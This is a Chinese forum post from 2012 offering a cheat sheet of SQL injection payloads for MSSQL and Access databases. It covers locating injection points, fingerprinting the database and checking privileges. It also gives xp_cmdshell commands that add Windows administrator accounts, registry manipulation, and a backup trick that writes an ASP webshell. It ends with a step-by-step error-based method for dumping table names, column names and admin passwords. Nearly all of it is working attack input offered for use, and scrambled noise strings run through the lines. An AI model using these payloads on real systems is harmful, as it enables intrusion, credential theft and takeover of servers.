找回密码
 立即注册
查看: 2668|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
# Q8 D; {4 W1 I" h;and 1=1 7 V: W! v* C- o( F" E. [
;and 1=2 6 n$ E; g& e( K0 Z1 A+ x

! R1 ~& F9 _- @4 }2.初步判断是否是mssql
; s+ a' N" [( h# D3 I$ j;and user>0
# ?' w1 a& s7 e, `# z6 T; m& x5 N* Q$ L8 {" l8 ~4 g
3.判断数据库系统
7 e4 y# z4 i# n% j: c$ m: t: w;and (select count(*) from sysobjects)>0 mssql * [2 t% g8 Z  [1 d8 e8 `( L8 v
;and (select count(*) from msysobjects)>0 access # c2 K! w4 V3 O
9 J: M" P1 ^; w( F4 x
4.注入参数是字符 ! ^$ a. Z) @  V  e2 B# I# l
'and [查询条件] and ''=' 1 k4 \( f6 A8 A  r- A* b2 h

) a8 C' e) ?" }  [$ A9 j5.搜索时没过滤参数的
8 P9 O7 |2 i. m$ \# f'and [查询条件] and '%25'='
4 D! W5 Q. h' O. n2 I5 s8 V) L) ~
$ U  |! {: w" `: [% \& F' L6.猜数表名
& i. d6 O6 \$ Z+ n: q;and (select Count(*) from [表名])>0 1 c8 ?* J0 k; y3 a

4 O+ O0 \9 @8 W9 X$ w$ o2 W* u7.猜字段
5 D8 ?% R- P5 K% p: l0 c;and (select Count(字段名) from 表名)>0
9 ~3 a  ~$ t, J2 `9 X; _5 a/ @) A- L( h6 s; M
8.猜字段中记录长度
' ?! l( P- E, h; [+ Y0 K. j" t;and (select top 1 len(字段名) from 表名)>0
  l( R( A2 U) d! o8 u4 F; R' u+ N" \. {
9.(1)猜字段的ascii值(access)
/ d0 H1 w& i' {3 q( z9 V/ o7 B/ t;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 / p5 B, I4 ]9 f  c+ _4 L$ G$ B

/ S: n- }. h7 ]) ?(2)猜字段的ascii值(mssql)
) E$ Y4 f" v8 M& f$ ^;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
# v0 V+ o. d! J3 }; b$ |1 k( {, \. O0 A7 A
10.测试权限结构(mssql) & P* T7 x" X! T( g/ l/ j* t
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- # t; q; ]7 K! Z3 }( B. x# i
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
4 z' m$ W! O9 d; e; [' x' d! q, k;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1 W' r( a% W. z( ]6 |% U" f
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
* C: H# r+ h' m4 J" j; e' j;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
1 Y, X1 d0 c" b;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
* K* e7 \3 N8 l6 h;and 1=(select IS_MEMBER('db_owner'));--
! R# q+ @" O3 K% G3 p. [
, j" v/ d; K+ M" j. z11.添加mssql和系统的帐户 1 y: u, _$ r: [0 ~+ ?3 Z) U6 b
;exec master.dbo.sp_addlogin username;-- - |0 h% G0 h/ v# \' }/ x
;exec master.dbo.sp_password null,username,password;--
# G/ z! @7 q+ [8 Z;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ' z2 e3 z& ]3 P0 r% L
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
, t7 Z5 y1 M: b. x* B; X) X: H;exec master.dbo.xp_cmdshell 'net user username password /add';-- # p; R  o. J" M
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
* z# P$ \& O2 ?8 `
* ]) _3 n# W4 O, v' n0 {9 N12.(1)遍历目录 % g- h' t* l+ h1 e  \
;create table dirs(paths varchar(100), id int) , i& G  i3 |( l8 s$ @1 Z( R  ?0 z% E
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: `1 i2 d' j" ?3 m;and (select top 1 paths from dirs)>0 5 y% U/ g% e# b4 V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
2 ~0 m4 \1 T" m/ W: I* W. s4 {. _
2 x, i$ u# }" U3 e& h* j& \(2)遍历目录 7 n: T, U+ V9 c( U- _
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ) T. n7 c+ b5 X0 w
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 & V! W6 z; m- ~: }" Y, r9 Z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" g$ z) T- i2 J% f; N;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ' t: ?' w9 D* P# d2 v0 ^9 |
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $ ^4 Q  M) K3 k8 X. I" {- n2 i

* Y& t. `; [! }+ [& v" _13.mssql中的存储过程
$ w0 \6 T6 [: gxp_regenumvalues 注册表根键, 子键 , _2 l  |/ T8 Q( _
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
! L- u+ \8 g1 Cxp_regread 根键,子键,键值名 7 ]+ p- }: x' Y3 @9 D, \" t* |
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 0 T& m" t! [& C8 B- J2 Z
xp_regwrite 根键,子键, 值名, 值类型, 值 6 v) U+ W! p/ B* R4 h; Q
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 , X/ m$ e; x3 w- \
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: h9 b* g- U$ k, y8 mxp_regdeletevalue 根键,子键,值名   k3 E& N) S) \% o) D
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
2 M. ^* u2 e: M1 A( axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 # b- n9 k) n6 F# ]; x+ K+ @0 h9 J+ R, U

% z) |& ^4 C7 O2 @14.mssql的backup创建webshell $ ^- @3 V5 i" p, p- b
use model ' D* h; S  @1 {7 \8 t2 m' S* u* b
create table cmd(str image); ) M- e$ F- v- {+ Z
insert into cmd(str) values ('<% Dim oScript %>');
/ F! u4 M+ r3 A" E0 ~backup database model to disk='c:\l.asp';   n1 x$ [& v# j7 S  l9 R+ Z6 G

3 P% c2 u. p/ ~- z2 v- u4 `3 e15.mssql内置函数
! E, e. {" @: K1 Y! v8 J, r;and (select @@version)>0 获得Windows的版本号
  T% J/ d2 _+ ?( L3 E- h;and user_name()='dbo' 判断当前系统的连接用户是不是sa : @+ ]% V1 G: r. m3 ]
;and (select user_name())>0 爆当前系统的连接用户 3 h1 I  p7 `. Y9 L
;and (select db_name())>0 得到当前连接的数据库 + `6 W) D8 o* ~8 j# _) r% ]
" ~  ?% x/ o. m. \

+ s5 F7 @! p8 r& b9 Y! P1 Q
8 \) ?+ S* _( `3 \. C2 UMSSQL手注暴库% X$ q0 V( ^9 B1 @* P

4 f  g: P* J/ Y9 m  _3 G. N; @1.暴出当前表名和列名
, S0 Q' b/ ~5 P2 W' G' [在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。9 O# S  T" D, I: X0 ^& @

9 b9 g' u; ?# o( m3 y第一.爆出所有数据库名! L5 g6 M4 a+ q
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
) A8 T  T: K2 D2 B第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
& G8 ]9 x. N" k
, H1 F8 X) q: r/ E& m3 b4 D. oand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
& `/ Y( [6 Z% |5 A# R* H# z+ }  H" \3 h6 k1 O' _- U3 E, F3 K
8 E. D+ W  a7 Z) G
第二.爆出指定库中的所有表名" ~) w! i- [/ b7 D( m6 r/ q
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。7 y( z% V0 ?" f1 y- p8 m4 x  S. n
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。6 ^( ]' d+ _$ b- j- V- k. q
; |1 [; [2 ]2 @- R5 T& {
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--; N4 d# Q+ f- B8 |5 o. j$ H" x
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
/ @# d6 s/ J/ h8 q. I. |5 \6 ?and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--7 C4 L3 l% q+ M6 i/ N2 ]
. r& G2 |5 i* X5 G% F
4.爆出指定表中的所有列名
$ Q! }: C. T& G0 F3 u; Z( Tand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
& i# D$ ]5 S2 K( z7 j9 G% e$ A//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
. v; O$ O5 b7 |. z, [7 A/ D
+ _: G" W, u% I/ Jand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
0 T' V8 C3 O; h8 E3 E/ {
& C+ K4 E8 E2 [7 M9 L再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
' @# N5 ~- T( p4 d! d0 _& M. H依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
$ h7 h  j, h( l# X7 z) V2 U% ~( i2 {: F
+ |$ w$ D: @$ w4 v" l
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值0 s) Z' n$ z& d

" W2 W4 M! ], ?, a' g1 d* Dand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
: N- g# M" a$ n/ z5 Z7 B! X# ?! T
) b+ I0 b& w& c  O  Aand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- # r1 G- l- n3 t! c
2 m7 h3 [9 s0 t( \9 D: }3 T
! k& R# H" U: o! U

" v. F6 e# }* i5.读取指定表中的数据' A) `5 p/ v9 W- h, Z6 K3 P: {* z5 Z

" ?, R2 w( h! D2 t+ y+ `# dand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 . O7 n1 _% g% O2 ~7 H  [
- o% s4 Q" Q" U" g+ b8 g; f
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
5 ]0 L4 C. G' B
/ I1 m# p) }- F: j2 P% S' ^7 ~and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
) ~/ e: `5 ~* f" I0 Q* ?6 X2 d5 y  ^( T$ s. Y, q5 u) N9 i/ N
$ W/ j2 v# G" Z) c
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
/ q$ s6 ~1 A6 c  ]+ E& `; x! z6 I+ \0 J5 Z! q5 Q. n1 W
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 i, T+ x% L3 n& T
1 m* B3 @' s' J
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
* V1 _. M6 [% f: ^. T% `5 z  E9 a* h+ D: u$ s4 W  g
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
/ @$ ]- \! y! O7 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表